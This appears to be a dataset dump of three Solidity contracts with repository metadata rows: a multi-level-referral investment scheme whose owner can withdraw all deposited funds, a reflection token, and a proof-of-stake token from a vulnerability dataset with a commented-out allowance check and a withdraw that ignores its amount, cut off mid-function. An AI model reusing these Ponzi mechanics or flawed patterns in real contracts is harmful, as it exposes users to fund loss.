referral_system(msg.value);
top_10();
//neg
if(panel2_days() <= 30){ // 30
panel_2[msg.sender].profit += ((msg.value*(8)*(30 - panel2_days()))/(100)); // 30 - panel_days()
}
}
function is_plan_completed_p2() public view returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p2() public returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
reset_panel_2();
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p2() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_2[msg.sender].exp_time){
if((((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(20*(1 days))) > panel_2[msg.sender].profit_withdrawn){ // 20 * 1 days
local_profit = (((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(20*(1 days))) - panel_2[msg.sender].profit_withdrawn; // 20*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_2[msg.sender].exp_time){
return panel_2[msg.sender].profit;
}
}
function panel2_days() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return ((now - panel_2[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel2(uint256 amount) public payable {
uint256 current_profit = current_profit_p2();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_2[msg.sender].profit_withdrawn = panel_2[msg.sender].profit_withdrawn + amount;
//neg
panel_2[msg.sender].profit = panel_2[msg.sender].profit - amount;
msg.sender.transfer(amount);
}
function is_valid_time_p2() public view returns(bool){
if(panel_2[msg.sender].time_started == true){
return (now > l_l2())&&(now < u_l2());
}
else {
return true;
}
}
function l_l2() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return (1 days)*panel2_days() + panel_2[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l2() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return ((1 days)*panel2_days() + panel_2[msg.sender].start_time + 8 hours); // 1 days , 8 hours
}else {
return now + (8 hours); // 8*60*60 8 hours
}
}
function reset_panel_2() private{
user_info[msg.sender].profit_remaining += panel_2[msg.sender].profit;
panel_2[msg.sender].invested_amount = 0;
panel_2[msg.sender].profit = 0;
panel_2[msg.sender].profit_withdrawn = 0;
panel_2[msg.sender].start_time = 0;
panel_2[msg.sender].exp_time = 0;
panel_2[msg.sender].time_started = false;
}
// --------------------------------- PANEL 3 ---------------------------
// 10% : 20 days
function invest_panel3() public payable {
require(msg.value>=50, 'Please Enter Amount no less than 50');
if(panel_3[msg.sender].time_started == false){
panel_3[msg.sender].start_time = now;
panel_3[msg.sender].time_started = true;
panel_3[msg.sender].exp_time = now + 20 days; // 20*24*60*60 = 20 days
}
panel_3[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
overall_invested = overall_invested + msg.value;
referral_system(msg.value);
top_10();
//neg
if(panel3_days() <= 20){ // 20
panel_3[msg.sender].profit += ((msg.value*(10)*(20 - panel3_days()))/(100)); // 20 - panel_days()
}
}
function is_plan_completed_p3() public view returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p3() public returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
reset_panel_3();
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p3() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_3[msg.sender].exp_time){
if((((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(10*(1 days))) > panel_3[msg.sender].profit_withdrawn){ // 10 * 1 days
local_profit = (((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(10*(1 days))) - panel_3[msg.sender].profit_withdrawn; // 10*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_3[msg.sender].exp_time){
return panel_3[msg.sender].profit;
}
}
function panel3_days() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return ((now - panel_3[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel3(uint256 amount) public payable {
uint256 current_profit = current_profit_p3();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_3[msg.sender].profit_withdrawn = panel_3[msg.sender].profit_withdrawn + amount;
//neg
panel_3[msg.sender].profit = panel_3[msg.sender].profit - amount;
msg.sender.transfer(amount);
}
function is_valid_time_p3() public view returns(bool){
if(panel_3[msg.sender].time_started == true){
return (now > l_l3())&&(now < u_l3());
}
else {
return true;
}
}
function l_l3() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return (1 days)*panel3_days() + panel_3[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l3() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return ((1 days)*panel3_days() + panel_3[msg.sender].start_time + 8 hours); // 1 days , 8 hours
}else {
return now + (8 hours); // 8*60*60 8 hours
}
}
function reset_panel_3() private{
user_info[msg.sender].profit_remaining += panel_3[msg.sender].profit;
panel_3[msg.sender].invested_amount = 0;
panel_3[msg.sender].profit = 0;
panel_3[msg.sender].profit_withdrawn = 0;
panel_3[msg.sender].start_time = 0;
panel_3[msg.sender].exp_time = 0;
panel_3[msg.sender].time_started = false;
}
// 12% : 10 days
function invest_panel4() public payable {
require(msg.value>=50, 'Please Enter Amount no less than 50');
if(panel_4[msg.sender].time_started == false){
panel_4[msg.sender].start_time = now;
panel_4[msg.sender].time_started = true;
panel_4[msg.sender].exp_time = now + 10 days; //10*24*60*60 = 10 days
}
panel_4[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
overall_invested = overall_invested + msg.value;
referral_system(msg.value);
top_10();
//neg
if(panel4_days() <= 10){ // 10
panel_4[msg.sender].profit += ((msg.value*(12)*(10 - panel4_days()))/(100)); // 10 - panel_days()
}
}
function is_plan_completed_p4() public view returns(bool){
if(panel_4[msg.sender].exp_time != 0){
if(now >= panel_4[msg.sender].exp_time){
return true;
}
if(now < panel_4[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p4() public returns(bool){
if(panel_4[msg.sender].exp_time != 0){
if(now >= panel_4[msg.sender].exp_time){
reset_panel_4();
return true;
}
if(now < panel_4[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p4() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_4[msg.sender].exp_time){
if((((panel_4[msg.sender].profit + panel_4[msg.sender].profit_withdrawn)*(now-panel_4[msg.sender].start_time))/(5*(1 days))) > panel_4[msg.sender].profit_withdrawn){ // 5 * 1 days
local_profit = (((panel_4[msg.sender].profit + panel_4[msg.sender].profit_withdrawn)*(now-panel_4[msg.sender].start_time))/(5*(1 days))) - panel_4[msg.sender].profit_withdrawn; // 5*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_4[msg.sender].exp_time){
return panel_4[msg.sender].profit;
}
}
function panel4_days() public view returns(uint256){
if(panel_4[msg.sender].time_started == true){
return ((now - panel_4[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel4(uint256 amount) public payable {
uint256 current_profit = current_profit_p4();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_4[msg.sender].profit_withdrawn = panel_4[msg.sender].profit_withdrawn + amount;
//neg
panel_4[msg.sender].profit = panel_4[msg.sender].profit - amount;
msg.sender.transfer(amount);
}
function is_valid_time_p4() public view returns(bool){
if(panel_4[msg.sender].time_started == true){
return (now > l_l4())&&(now < u_l4());
}
else {
return true;
}
}
function l_l4() public view returns(uint256){
if(panel_4[msg.sender].time_started == true){
return (1 days)*panel4_days() + panel_4[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l4() public view returns(uint256){
if(panel_4[msg.sender].time_started == true){
return ((1 days)*panel4_days() + panel_4[msg.sender].start_time + 8 hours); // 1 days , 8 hours
}else {
return now + (8 hours); // 8*60*60 8 hours
}
}
function reset_panel_4() private{
user_info[msg.sender].profit_remaining += panel_4[msg.sender].profit;
panel_4[msg.sender].invested_amount = 0;
panel_4[msg.sender].profit = 0;
panel_4[msg.sender].profit_withdrawn = 0;
panel_4[msg.sender].start_time = 0;
panel_4[msg.sender].exp_time = 0;
panel_4[msg.sender].time_started = false;
}
// ------------- withdraw remaining profit ---------------------
function withdraw_rem_profit(uint256 amt) public payable{
require(amt <= user_info[msg.sender].profit_remaining, ' Withdraw amount should be less than remaining profit ');
user_info[msg.sender].profit_remaining = user_info[msg.sender].profit_remaining - amt;
msg.sender.transfer(amt);
}
//------------------- Referal System ------------------------
function refer(address ref_add) public {
require(user_info[msg.sender].referred == false, ' Already referred ');
require(ref_add != msg.sender, ' You cannot refer yourself ');
user_info[msg.sender].referred_by = ref_add;
user_info[msg.sender].referred = true;
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
address level5 = user_info[level4].referred_by;
address level6 = user_info[level5].referred_by;
address level7 = user_info[level6].referred_by;
address level8 = user_info[level7].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
refer_info[level1].level_1 += 1;
}
if((level2 != msg.sender) && (level2 != address(0))){
refer_info[level2].level_2 += 1;
}
if((level3 != msg.sender) && (level3 != address(0))){
refer_info[level3].level_3 += 1;
}
if((level4 != msg.sender) && (level4 != address(0))){
refer_info[level4].level_4 += 1;
}
if((level5 != msg.sender) && (level5 != address(0))){
refer_info[level5].level_5 += 1;
}
if((level6 != msg.sender) && (level6 != address(0))){
refer_info[level6].level_6 += 1;
}
if((level7 != msg.sender) && (level7!= address(0))){
refer_info[level7].level_7 += 1;
}
if((level8 != msg.sender) && (level8 != address(0))){
refer_info[level8].level_8 += 1;
}
}
function referral_system(uint256 amount) private {
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
address level5 = user_info[level4].referred_by;
address level6 = user_info[level5].referred_by;
address level7 = user_info[level6].referred_by;
address level8 = user_info[level7].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
user_info[level1].referal_profit += (amount*5)/(100);
}
if((level2 != msg.sender) && (level2 != address(0))){
user_info[level2].referal_profit += (amount*3)/(100);
}
if((level3 != msg.sender) && (level3 != address(0))){
user_info[level3].referal_profit += (amount*(1))/(100);
}
if((level4 != msg.sender) && (level4 != address(0))){
user_info[level4].referal_profit += (amount*1)/(100);
}
if((level5 != msg.sender) && (level5 != address(0))){
user_info[level5].referal_profit += (amount*1)/(100);
}
if((level6 != msg.sender) && (level6 != address(0))){
user_info[level6].referal_profit += (amount*1)/(100);
}
if((level7 != msg.sender) && (level7 != address(0))){
user_info[level7].referal_profit += (amount*1)/(100);
}
if((level8 != msg.sender) && (level8 != address(0))){
user_info[level8].referal_profit += (amount*1)/(100);
}
}
function referal_withdraw(uint256 amount) public {
require(user_info[msg.sender].referal_profit >= amount, 'Withdraw must be less than Profit');
user_info[msg.sender].referal_profit = user_info[msg.sender].referal_profit - amount;
msg.sender.transfer(amount);
}
function over_inv() public view returns(uint256){
return overall_invested;
}
function SendTRXFromContract(address payable _address, uint256 _amount) public payable onlyOwner returns (bool){
require(_address != address(0), "error for transfer from the zero address");
_address.transfer(_amount);
return true;
}
function SendTRXToContract() public payable returns (bool){
return true;
}
}
| 288,380 | 10,368 |
5a0dc8c739125c6ecbb8cd6ff63e863d0566cd0fdc5eacf06947cbad3cd3ba98
| 18,829 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fe/feb3f5d3a9bc11588d41eb5fdf7e14df67bb6a15_SafeAvaX.sol
| 4,189 | 15,798 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeAvaX is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'SafeAvaX';
string private _symbol = 'SafeAvaX';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 83,072 | 10,369 |
ba289e469788d6651b454a048c64f1a07bd56c09cfa985ab213945fb266550ed
| 12,726 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe0e1a37a7ee3d3ffb341df471637ae108a0610ae.sol
| 3,006 | 10,902 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner external {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) external constant returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) external constant returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GameGoldTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() public returns (bool);
function coinAge() external constant returns (uint256);
function annualInterest() external constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract GameGoldToken is ERC20,GameGoldTokenStandard,Ownable {
using SafeMath for uint256;
string constant name = "Game Gold Token";
string constant symbol = "GGT";
uint constant decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint constant stakeMinAge = 3 days; // minimum age for coin age: 3D
uint constant stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake;
uint public totalSupply;
uint public saleSupply; //founders initial supply 53%
uint public tokenPrice;
uint public alreadySold;
bool public saleIsGoing;
struct transferInStruct {
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier onlyIfSaleIsGoing() {
require(saleIsGoing);
_;
}
function GameGoldToken() public {
chainStartTime = now;
chainStartBlockNumber = block.number;
totalSupply = 555000000*10**decimals; // 555 Millions;
saleSupply = 294150000*10**decimals; //53%
tokenPrice = 0.00035 ether;
alreadySold = 0;
balances[owner] = totalSupply;
Transfer(address(0), owner, totalSupply);
maxMintProofOfStake = 138750000*10**decimals; // 25% annual interest
saleIsGoing = true;
}
function updateSaleStatus() external onlyOwner returns(bool) {
saleIsGoing = !saleIsGoing;
return true;
}
function setPrice(uint _newPrice) external onlyOwner returns(bool) {
require(_newPrice >= 0);
tokenPrice = _newPrice;
return true;
}
function balanceOf(address _owner) constant external returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) external returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) external returns (bool) {
require(_to != address(0));
uint _allowance = uint(allowed[_from][msg.sender]);
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) external returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) external constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function withdraw(uint amount) public onlyOwner returns(bool) {
require(amount <= address(this).balance);
owner.transfer(address(this).balance);
return true;
}
function ownerMint(uint _amount) public onlyOwner returns (bool) {
uint amount = _amount * 10**decimals;
require(totalSupply.add(amount) <= 2**256 - 1 && balances[owner].add(amount) <= 2**256 - 1);
totalSupply = totalSupply.add(amount);
balances[owner] = balances[owner].add(amount);
Transfer(address(0), owner, amount);
return true;
}
function mint() public returns (bool) {
if(balances[msg.sender] <= 0 || transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() external constant returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() external constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() external constant returns(uint) {
return maxMintProofOfStake;
}
function getProofOfStakeReward(address _address) internal constant returns (uint) {
require((now >= stakeStartTime) && (stakeStartTime > 0));
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
